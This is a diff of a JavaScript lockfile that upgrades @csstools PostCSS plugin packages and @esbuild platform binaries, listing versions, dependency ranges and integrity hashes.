- "@csstools/postcss-hwb-function": ["@csstools/postcss-hwb-function@2.2.2", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-W5Y5oaJ382HSlbdGfPf60d7dAK6Hqf10+Be1yZbd/TNNrQ/3dDdV1c07YwOXPQ3PZ6dvFMhxbIbn8EC3ki3nEg=="],
+ "@csstools/postcss-color-mix-variadic-function-arguments": ["@csstools/postcss-color-mix-variadic-function-arguments@2.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-zEchsghpDH/6SytyjKu9TIPm4hiiWcur102cENl54cyIwTZsa+2MBJl/vtyALZ+uQ17h27L4waD+0Ow96sgZow=="],
- "@csstools/postcss-ic-unit": ["@csstools/postcss-ic-unit@2.0.4", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9W2ZbV7whWnr1Gt4qYgxMWzbevZMOvclUczT5vk4yR6vS53W/njiiUhtm/jh/BKYwQ1W3PECZjgAd2dH4ebJig=="],
+ "@csstools/postcss-content-alt-text": ["@csstools/postcss-content-alt-text@3.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-OHa+4aCcrJtHpPWB3zptScHwpS1TUbeLR4uO0ntIz0Su/zw9SoWkVu+tDMSySSAsNtNSI3kut4fTliFwIsrHxA=="],
- "@csstools/postcss-is-pseudo-class": ["@csstools/postcss-is-pseudo-class@3.2.1", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.0", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AtANdV34kJl04Al62is3eQRk/BfOfyAvEmRJvbt+nx5REqImLC+2XhuE6skgkcPli1l8ONS67wS+l1sBzySc3Q=="],
+ "@csstools/postcss-contrast-color-function": ["@csstools/postcss-contrast-color-function@3.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fwOz/m+ytFPz4aIph2foQS9nEDOdOjYcN5bgwbGR2jGUV8mYaeD/EaTVMHTRb/zqB65y2qNwmcFcE6VQty69Pw=="],
- "@csstools/postcss-logical-float-and-clear": ["@csstools/postcss-logical-float-and-clear@1.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-eO9z2sMLddvlfFEW5Fxbjyd03zaO7cJafDurK4rCqyRt9P7aaWwha0LcSzoROlcZrw1NBV2JAp2vMKfPMQO1xw=="],
+ "@csstools/postcss-exponential-functions": ["@csstools/postcss-exponential-functions@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-WHJ52Uk0AVUIICEYRY9xFHJZAuq0ZVg0f8xzqUN2zRFrZvGgRPpFwxK7h9FWvqKIOueOwN6hnJD23A8FwsUiVw=="],
- "@csstools/postcss-logical-resize": ["@csstools/postcss-logical-resize@1.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-x1ge74eCSvpBkDDWppl+7FuD2dL68WP+wwP2qvdUcKY17vJksz+XoE1ZRV38uJgS6FNUwC0AxrPW5gy3MxsDHQ=="],
+ "@csstools/postcss-font-format-keywords": ["@csstools/postcss-font-format-keywords@5.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-M1EjCe/J3u8fFhOZgRci74cQhJ7R0UFBX6T+WqoEvjrr8hVfMiV+HTYrzxLY5OW8YllvXYr5Q5t5OvJbsUSeDg=="],
- "@csstools/postcss-logical-viewport-units": ["@csstools/postcss-logical-viewport-units@1.0.3", "", { "dependencies": { "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-6zqcyRg9HSqIHIPMYdt6THWhRmE5/tyHKJQLysn2TeDf/ftq7Em9qwMTx98t2C/7UxIsYS8lOiHHxAVjWn2WUg=="],
+ "@csstools/postcss-font-width-property": ["@csstools/postcss-font-width-property@1.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AvmySApdijbjYQuXXh95tb7iVnqZBbJrv3oajO927ksE/mDmJBiszm+psW8orL2lRGR8j6ZU5Uv9/ou2Z5KRKA=="],
- "@csstools/postcss-media-minmax": ["@csstools/postcss-media-minmax@1.1.2", "", { "dependencies": { "@csstools/css-calc": "^1.1.6", "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3", "@csstools/media-query-list-parser": "^2.1.7" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-7qTRTJxW96u2yiEaTep1+8nto1O/rEDacewKqH+Riq5E6EsHTOmGHxkB4Se5Ic5xgDC4I05lLZxzzxnlnSypxA=="],
+ "@csstools/postcss-gamut-mapping": ["@csstools/postcss-gamut-mapping@3.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IrXAW3KQ3Sxm29C3/4mYQ/iA0Q5OH9YFOPQ2w24iIlXpD06A9MHvmQapP2vAGtQI3tlp2Xw5LIdm9F8khARfOA=="],
- "@csstools/postcss-media-queries-aspect-ratio-number-values": ["@csstools/postcss-media-queries-aspect-ratio-number-values@1.0.4", "", { "dependencies": { "@csstools/css-parser-algorithms": "^2.2.0", "@csstools/css-tokenizer": "^2.1.1", "@csstools/media-query-list-parser": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IwyTbyR8E2y3kh6Fhrs251KjKBJeUPV5GlnUKnpU70PRFEN2DolWbf2V4+o/B9+Oj77P/DullLTulWEQ8uFtAA=="],
+ "@csstools/postcss-gradients-interpolation-method": ["@csstools/postcss-gradients-interpolation-method@6.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-saQHvD1PD/zCdn+kxCWCcQOdXZBljr8L6BKlCLs0w8GXYfo3SHdWL1HZQ+I1hVCPlU+MJPJJbZJjG/jHRJSlAw=="],
- "@csstools/postcss-nested-calc": ["@csstools/postcss-nested-calc@2.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-jbwrP8rN4e7LNaRcpx3xpMUjhtt34I9OV+zgbcsYAAk6k1+3kODXJBf95/JMYWhu9g1oif7r06QVUgfWsKxCFw=="],
+ "@csstools/postcss-hwb-function": ["@csstools/postcss-hwb-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-ChR0+pKc/2cs900jakiv8dLrb69aez5P3T+g+wfJx1j6mreAe8orKTiMrVBk+DZvCRqpdOA2m8VoFms64A3Dew=="],
- "@csstools/postcss-normalize-display-values": ["@csstools/postcss-normalize-display-values@2.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TQT5g3JQ5gPXC239YuRK8jFceXF9d25ZvBkyjzBGGoW5st5sPXFVQS8OjYb9IJ/K3CdfK4528y483cgS2DJR/w=="],
+ "@csstools/postcss-ic-unit": ["@csstools/postcss-ic-unit@5.0.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-/ws5d6c4uKqfM9zIL3ugcGI+3fvZEOOkJHNzAyTAGJIdZ+aSL9BVPNlHGV4QzmL0vqBSCOdU3+rhcMEj3+KzYw=="],
- "@csstools/postcss-oklab-function": ["@csstools/postcss-oklab-function@2.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AgJ2rWMnLCDcbSMTHSqBYn66DNLBym6JpBpCaqmwZ9huGdljjDRuH3DzOYzkgQ7Pm2K92IYIq54IvFHloUOdvA=="],
+ "@csstools/postcss-initial": ["@csstools/postcss-initial@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-UVUrFmrTQyLomVepnjWlbBg7GoscLmXLwYFyjbcEnmpeGW7wde6lNpx5eM3eVwZI2M+7hCE3ykYnAsEPLcLa+Q=="],
- "@csstools/postcss-progressive-custom-properties": ["@csstools/postcss-progressive-custom-properties@2.3.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Zd8ojyMlsL919TBExQ1I0CTpBDdyCpH/yOdqatZpuC3sd22K4SwC7+Yez3Q/vmXMWSAl+shjNeFZ7JMyxMjK+Q=="],
+ "@csstools/postcss-is-pseudo-class": ["@csstools/postcss-is-pseudo-class@6.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1Hdy/ykg9RDo8vU8RiM2o+RaXO39WpFPaIkHxlAEJFofle/lc33tdQMKhBk3jR/Fe+uZNLOs3HlowFafyFptVw=="],
- "@csstools/postcss-relative-color-syntax": ["@csstools/postcss-relative-color-syntax@1.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-juCoVInkgH2TZPfOhyx6tIal7jW37L/0Tt+Vcl1LoxqQA9sxcg3JWYZ98pl1BonDnki6s/M7nXzFQHWsWMeHgw=="],
+ "@csstools/postcss-light-dark-function": ["@csstools/postcss-light-dark-function@3.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-s++V5/hYazeRUCYIn2lsBVzUsxdeC46gtwpgW6lu5U/GlPOS5UTDT14kkEyPgXmFbCvaWLREqV7YTMJq1K3G6w=="],
- "@csstools/postcss-scope-pseudo-class": ["@csstools/postcss-scope-pseudo-class@2.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-6Pvo4uexUCXt+Hz5iUtemQAcIuCYnL+ePs1khFR6/xPgC92aQLJ0zGHonWoewiBE+I++4gXK3pr+R1rlOFHe5w=="],
+ "@csstools/postcss-logical-float-and-clear": ["@csstools/postcss-logical-float-and-clear@4.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-NGzdIRVj/VxOa/TjVdkHeyiJoDihONV0+uB0csUdgWbFFr8xndtfqK8iIGP9IKJzco+w0hvBF2SSk2sDSTAnOQ=="],
- "@csstools/postcss-stepped-value-functions": ["@csstools/postcss-stepped-value-functions@2.1.1", "", { "dependencies": { "@csstools/css-calc": "^1.1.1", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-YCvdF0GCZK35nhLgs7ippcxDlRVe5QsSht3+EghqTjnYnyl3BbWIN6fYQ1dKWYTJ+7Bgi41TgqQFfJDcp9Xy/w=="],
+ "@csstools/postcss-logical-overflow": ["@csstools/postcss-logical-overflow@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-5cRg93QXVskM0MNepHpPcL0WLSf5Hncky0DrFDQY/4ozbH5lH7SX5ejayVpNTGSX7IpOvu7ykQDLOdMMGYzwpA=="],
- "@csstools/postcss-text-decoration-shorthand": ["@csstools/postcss-text-decoration-shorthand@2.2.4", "", { "dependencies": { "@csstools/color-helpers": "^2.1.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-zPN56sQkS/7YTCVZhOBVCWf7AiNge8fXDl7JVaHLz2RyT4pnyK2gFjckWRLpO0A2xkm1lCgZ0bepYZTwAVd/5A=="],
+ "@csstools/postcss-logical-overscroll-behavior": ["@csstools/postcss-logical-overscroll-behavior@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-82Jnl/5Wi5jb19nQE1XlBHrZcNL3PzOgcj268cDkfwf+xi10HBqufGo1Unwf5n8bbbEFhEKgyQW+vFsc9iY1jw=="],
- "@csstools/postcss-trigonometric-functions": ["@csstools/postcss-trigonometric-functions@2.1.1", "", { "dependencies": { "@csstools/css-calc": "^1.1.1", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-XcXmHEFfHXhvYz40FtDlA4Fp4NQln2bWTsCwthd2c+MCnYArUYU3YaMqzR5CrKP3pMoGYTBnp5fMqf1HxItNyw=="],
+ "@csstools/postcss-logical-resize": ["@csstools/postcss-logical-resize@4.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-L0T3q0gei/tGetCGZU0c7VN77VTivRpz1YZRNxjXYmW+85PKeI6U9YnSvDqLU2vBT2uN4kLEzfgZ0ThIZpN18A=="],
- "@csstools/postcss-unset-value": ["@csstools/postcss-unset-value@2.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-oJ9Xl29/yU8U7/pnMJRqAZd4YXNCfGEdcP4ywREuqm/xMqcgDNDppYRoCGDt40aaZQIEKBS79LytUDN/DHf0Ew=="],
+ "@csstools/postcss-logical-viewport-units": ["@csstools/postcss-logical-viewport-units@4.0.0", "", { "dependencies": { "@csstools/css-tokenizer": "^4.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TA3AqVN/1IH3dKRC2UUWvprvwyOs2IeD7FDZk5Hz20w4q33yIuSg0i0gjyTUkcn90g8A4n7QpyZ2AgBrnYPnnA=="],
- "@csstools/selector-specificity": ["@csstools/selector-specificity@2.2.0", "", { "peerDependencies": { "postcss-selector-parser": "^6.0.10" } }, "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw=="],
+ "@csstools/postcss-media-minmax": ["@csstools/postcss-media-minmax@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-I+CrmZt23fyejMItpLQFOg9gPXkDBBDjTqRT0UxCTZlYZfGrzZn4z+2kbXLRwDfR59OK8zaf26M4kwYwG0e1MA=="],
+
+ "@csstools/postcss-media-queries-aspect-ratio-number-values": ["@csstools/postcss-media-queries-aspect-ratio-number-values@4.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FDdC3lbrj8Vr0SkGIcSLTcRB7ApG6nlJFxOxkEF2C5hIZC1jtgjISFSGn/WjFdVkn8Dqe+Vx9QXI3axS2w1XHw=="],
+
+ "@csstools/postcss-mixins": ["@csstools/postcss-mixins@1.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rz6qjT2w9L3k65jGc2dX+3oGiSrYQ70EZPDrINSmSVoVys7lLBFH0tvEa8DW2sr9cbRVD/W+1sy8+7bfu0JUfg=="],
+
+ "@csstools/postcss-nested-calc": ["@csstools/postcss-nested-calc@5.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aPSw8P60e/i9BEfugauhikBqgjiwXcw3I9o4vXs+hktl4NSTgZRI0QHimxk9mst8N01A2TKDBxOln3mssRxiHQ=="],
+
+ "@csstools/postcss-normalize-display-values": ["@csstools/postcss-normalize-display-values@5.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FcbEmoxDEGYvm2W3rQzVzcuo66+dDJjzzVDs+QwRmZLHYofGmMGwIKPqzF86/YW+euMDa7sh1xjWDvz/fzByZQ=="],
+
+ "@csstools/postcss-oklab-function": ["@csstools/postcss-oklab-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-3d/Wcnp2uW6Io0Tajl0croeUo46gwOVQI9N32PjA/HVQo6z1iL7yp19Gp+6e5E5CDKGpW7U822MsDVo2XK1z0Q=="],
+
+ "@csstools/postcss-position-area-property": ["@csstools/postcss-position-area-property@2.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-TeEfzsJGB23Syv7yCm8AHCD2XTFujdjr9YYu9ebH64vnfCEvY4BG319jXAYSlNlf3Yc9PNJ6WnkDkUF5XVgSKQ=="],
+
+ "@csstools/postcss-progressive-custom-properties": ["@csstools/postcss-progressive-custom-properties@5.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-NsJoZ89rxmDrUsITf8QIk5w+lQZQ8Xw5K6cLFG+cfiffsLYHb3zcbOOrHLetGl1WIhjWWQ4Cr8MMrg46Q+oACg=="],
+
+ "@csstools/postcss-property-rule-prelude-list": ["@csstools/postcss-property-rule-prelude-list@2.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-qcMAkc9AhpzHgmQCD8hoJgGYifcOAxd1exXjjxilMM6euwRE619xDa4UsKBCv/v4g+sS63sd6c29LPM8s2ylSQ=="],
+
+ "@csstools/postcss-random-function": ["@csstools/postcss-random-function@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-SvKGfmj+WHfn4bWHaBYlkXDyU3SlA3fL8aaYZ8Op6M8tunNf3iV9uZyZZGWMCbDw0sGeoTmYZW9nmKN8Qi/ctg=="],
+
+ "@csstools/postcss-relative-color-syntax": ["@csstools/postcss-relative-color-syntax@4.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-HaMN+qMURinllszbps2AhXKaLeibg/2VW6FriYDrqE58ji82+z2S3/eLloywVOY8BQCJ9lZMdy6TcRQNbn9u3w=="],
+
+ "@csstools/postcss-scope-pseudo-class": ["@csstools/postcss-scope-pseudo-class@5.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-kBrBFJcAji3MSHS4qQIihPvJfJC5xCabXLbejqDMiQi+86HD4eMBiTayAo46Urg7tlEmZZQFymFiJt+GH6nvXw=="],
+
+ "@csstools/postcss-sign-functions": ["@csstools/postcss-sign-functions@2.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-C3br0qcHJkQ0qSGUBnDJHXQdO8XObnCpGwai5m1L2tv2nCjt0vRHG6A9aVCQHvh08OqHNM2ty1dYDNNXV99YAQ=="],
+
+ "@csstools/postcss-stepped-value-functions": ["@csstools/postcss-stepped-value-functions@5.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-vZf7zPzRb7xIi2o5Z9q6wyeEAjoRCg74O2QvYxmQgxYO5V5cdBv4phgJDyOAOP3JHy4abQlm2YaEUS3gtGQo0g=="],
+
+ "@csstools/postcss-syntax-descriptor-syntax-production": ["@csstools/postcss-syntax-descriptor-syntax-production@2.0.0", "", { "dependencies": { "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-elYcbdiBXAkPqvojB9kIBRuHY6htUhjSITtFQ+XiXnt6SvZCbNGxQmaaw6uZ7SPHu/+i/XVjzIt09/1k3SIerQ=="],
+
+ "@csstools/postcss-system-ui-font-family": ["@csstools/postcss-system-ui-font-family@2.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FyGZCgchFImFyiHS2x3rD5trAqatf/x23veBLTIgbaqyFfna6RNBD+Qf8HRSjt6HGMXOLhAjxJ3OoZg0bbn7Qw=="],
+
+ "@csstools/postcss-text-decoration-shorthand": ["@csstools/postcss-text-decoration-shorthand@5.0.3", "", { "dependencies": { "@csstools/color-helpers": "^6.0.2", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-62fjggvIM1YYfDJPcErMUDkEZB6CByG8neTJqexnZe1hRBgCjD4dnXDLoCSSurjs1LzjBq6irFDpDaOvDZfrlw=="],
+
+ "@csstools/postcss-trigonometric-functions": ["@csstools/postcss-trigonometric-functions@5.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-e8me32Mhl8JeBnxVJgsQUYpV4Md4KiyvpILpQlaY/eK1Gwdb04kasiTTswPQ5q7Z8+FppJZ2Z4d8HRfn6rjD3w=="],
+
+ "@csstools/postcss-unset-value": ["@csstools/postcss-unset-value@5.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-EoO54sS2KCIfesvHyFYAW99RtzwHdgaJzhl7cqKZSaMYKZv3fXSOehDjAQx8WZBKn1JrMd7xJJI1T1BxPF7/jA=="],
+
+ "@csstools/selector-resolve-nested": ["@csstools/selector-resolve-nested@4.0.0", "", { "peerDependencies": { "postcss-selector-parser": "^7.1.1" } }, "sha512-9vAPxmp+Dx3wQBIUwc1v7Mdisw1kbbaGqXUM8QLTgWg7SoPGYtXBsMXvsFs/0Bn5yoFhcktzxNZGNaUt0VjgjA=="],
+
+ "@csstools/selector-specificity": ["@csstools/selector-specificity@6.0.0", "", { "peerDependencies": { "postcss-selector-parser": "^7.1.1" } }, "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA=="],
+
+ "@csstools/utilities": ["@csstools/utilities@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-etDqA/4jYvOGBM6yfKCOsEXfH96BKztZdgGmGqKi2xHnDe0ILIBraRspwgYatJH9JsCZ5HCGoCst8w18EKOAdg=="],
"@dabh/diagnostics": ["@dabh/diagnostics@2.0.3", "", { "dependencies": { "colorspace": "1.1.x", "enabled": "2.0.x", "kuler": "^2.0.0" } }, "sha512-hrlQOIi7hAfzsMqlGSFyVucrx38O+j6wiGOf//H2ecvIEqYN4ADBSS2iLMh5UFyDunCNniUIPk/q3riFv45xRA=="],
@@ -1063,55 +1135,57 @@
"@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.1.0", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ=="],
- "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.25.1", "", { "os": "aix", "cpu": "ppc64" }, "sha512-kfYGy8IdzTGy+z0vFGvExZtxkFlA4zAxgKEahG9KE1ScBjpQnFsNOX8KTU5ojNru5ed5CVoJYXFtoxaq5nFbjQ=="],
+ "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.27.3", "", { "os": "aix", "cpu": "ppc64" }, "sha512-9fJMTNFTWZMh5qwrBItuziu834eOCUcEqymSH7pY+zoMVEZg3gcPuBNxH1EvfVYe9h0x/Ptw8KBzv7qxb7l8dg=="],
- "@esbuild/android-arm": ["@esbuild/android-arm@0.25.1", "", { "os": "android", "cpu": "arm" }, "sha512-dp+MshLYux6j/JjdqVLnMglQlFu+MuVeNrmT5nk6q07wNhCdSnB7QZj+7G8VMUGh1q+vj2Bq8kRsuyA00I/k+Q=="],
+ "@esbuild/android-arm": ["@esbuild/android-arm@0.27.3", "", { "os": "android", "cpu": "arm" }, "sha512-i5D1hPY7GIQmXlXhs2w8AWHhenb00+GxjxRncS2ZM7YNVGNfaMxgzSGuO8o8SJzRc/oZwU2bcScvVERk03QhzA=="],
- "@esbuild/android-arm64": ["@esbuild/android-arm64@0.25.1", "", { "os": "android", "cpu": "arm64" }, "sha512-50tM0zCJW5kGqgG7fQ7IHvQOcAn9TKiVRuQ/lN0xR+T2lzEFvAi1ZcS8DiksFcEpf1t/GYOeOfCAgDHFpkiSmA=="],
+ "@esbuild/android-arm64": ["@esbuild/android-arm64@0.27.3", "", { "os": "android", "cpu": "arm64" }, "sha512-YdghPYUmj/FX2SYKJ0OZxf+iaKgMsKHVPF1MAq/P8WirnSpCStzKJFjOjzsW0QQ7oIAiccHdcqjbHmJxRb/dmg=="],
- "@esbuild/android-x64": ["@esbuild/android-x64@0.25.1", "", { "os": "android", "cpu": "x64" }, "sha512-GCj6WfUtNldqUzYkN/ITtlhwQqGWu9S45vUXs7EIYf+7rCiiqH9bCloatO9VhxsL0Pji+PF4Lz2XXCES+Q8hDw=="],
+ "@esbuild/android-x64": ["@esbuild/android-x64@0.27.3", "", { "os": "android", "cpu": "x64" }, "sha512-IN/0BNTkHtk8lkOM8JWAYFg4ORxBkZQf9zXiEOfERX/CzxW3Vg1ewAhU7QSWQpVIzTW+b8Xy+lGzdYXV6UZObQ=="],
- "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.25.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-5hEZKPf+nQjYoSr/elb62U19/l1mZDdqidGfmFutVUjjUZrOazAtwK+Kr+3y0C/oeJfLlxo9fXb1w7L+P7E4FQ=="],
+ "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.27.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Re491k7ByTVRy0t3EKWajdLIr0gz2kKKfzafkth4Q8A5n1xTHrkqZgLLjFEHVD+AXdUGgQMq+Godfq45mGpCKg=="],
- "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.25.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-hxVnwL2Dqs3fM1IWq8Iezh0cX7ZGdVhbTfnOy5uURtao5OIVCEyj9xIzemDi7sRvKsuSdtCAhMKarxqtlyVyfA=="],
+ "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.27.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-vHk/hA7/1AckjGzRqi6wbo+jaShzRowYip6rt6q7VYEDX4LEy1pZfDpdxCBnGtl+A5zq8iXDcyuxwtv3hNtHFg=="],
